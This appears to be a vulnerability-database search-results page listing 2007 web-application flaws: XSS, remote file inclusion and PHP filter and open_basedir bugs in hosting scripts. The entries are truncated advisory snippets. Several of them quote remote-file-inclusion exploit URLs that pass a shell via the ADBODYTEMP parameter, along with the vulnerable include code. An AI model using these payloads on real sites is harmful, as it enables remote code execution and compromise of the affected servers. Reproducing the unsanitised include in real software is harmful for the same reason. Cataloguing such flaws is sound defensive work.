2860 matches found
CVE-2007-3281
The CVE-2007-3281 entry describes a Cross-site Scripting (XSS) vulnerability in index.php of Php Hosting Biller 1.0, exploitable via PATH_INFO to inject arbitrary script/HTML. The connected documents confirm the vulnerability and its vector, but do not provide exploit details or a published patch...
CVE-2007-3281
Cross-site scripting XSS vulnerability in index.php in Php Hosting Biller 1.0 allows remote attackers to inject arbitrary web script or HTML via the PATHINFO...
PHP hosting Biller
Application: PHP HOSTING BILLER Web Site: http://www.jnshosts.com/phphostingbiller.php Versions: 1.0 Platform: linux, windows, freebsd, sun Bug: Cross site Scripting XSS Fix Available: No ------------------------------------------------------- 1 Introduction 2 Bug 3 The Code 4 Fix 5 About Serapis...
vBulletin vBGSiteMap 2.41 - root Remote File Inclusion
vBulletin vBGSiteMap 2.41 - root Remote File Inclusion ============================================= vBulletin Google Site Map Creator base Remote File Include Vulnerability ============================================= Found by : Host4vb.com & Cold z3ro Contact : [email protected] ,...
vBulletin vBGSiteMap 2.41 - 'root' Remote File Inclusion
============================================= vBulletin Google Site Map Creator base Remote File Include Vulnerability ============================================= Found by : Host4vb.com & Cold z3ro Contact : [email protected] , [email protected] Homepage : Host4vb.com , Hack-Teach.Org...
Unfixed XSS vulnerability at www.cheap-hosting-domain.com
Security researcher KaBuS, has submitted on 05/03/2007 a cross-site-scripting XSS vulnerability affecting www.cheap-hosting-domain.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/03/2007. It is...
Unfixed XSS vulnerability at support.vervehosting.com
Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.vervehosting.com, which at the time of submission ranked 380868 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...
Unfixed XSS vulnerability at www.alphaomegahosting.com
Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting www.alphaomegahosting.com, which at the time of submission ranked 962622 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...
PMOPB-45-2007:PHP ext/filter Email Validation Vulnerability
Summary The first Post Month of PHP Bugs vulnerability describes a vulnerability in PHP's new input filtering/validation extension. The FILTERVALIDATEEMAIL filter of ext/filter internally uses a wrong regular expression that allows injecting a newline character at the end of the email string...
Free File Hosting System远程文件包含漏洞
Free File Hosting System是一款基于PHP的WEB应用程序。 Free File Hosting System不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'ADBODYTEMP'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Free PHP Scripts Free File Hosting 1.1 目前没有解决方案提供： http://www.free-php-scripts.net/...
PHP 5.2.1 - Session.Save_Path() TMPDIR open_basedir Restriction Bypass
PHP 5.2.1 - Session.SavePath TMPDIR openbasedir Restriction Bypass source: https://www.securityfocus.com/bid/23183/info PHP is prone to a 'openbasedir' restriction-bypass vulnerability due to a design error. Successful exploits could allow an attacker to access sensitive information or to write...
CVE-2007-1715
PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ADBODYTEMP parameter. NOTE: the forgotpass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps...
CVE-2007-1715
PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ADBODYTEMP parameter. NOTE: the forgotpass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps...
CVE-2007-1715
The CVE-2007-1715 issue affects Free Image Hosting 2.0 and earlier, with a vulnerability in frontpage.php that allows PHP code execution via a URL in the AD_BODY_TEMP parameter (remote file inclusion). The vulnerability arises from including remote files through user-controlled input, enabling ar...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
No description provided by source. Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Image_Upload Script Remote File Inclusion Exploit Free Image Hosting 2.0
Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : tddiv align="center"?php include$ADBODYTEMP;?/div/td Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Free Image Hosting 2.0 - AD_BODY_TEMP Remote File Inclusion
Free Image Hosting 2.0 - ADBODYTEMP Remote File Inclusion Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
Exploit for unknown platform in category web applications ==================================================================== Free Image Hosting Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? : www.site.com/imageuploadpath/frontpage.php?ADBODYTEMP=Shell?...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
No description provided by source. Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : tddiv align="center"?php include$ADBODYTEMP;?/div/td Exploit :...
Free File Hosting System 1.1 - 'login.php?AD_BODY_TEMP' Remote File Inclusion
source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; othe...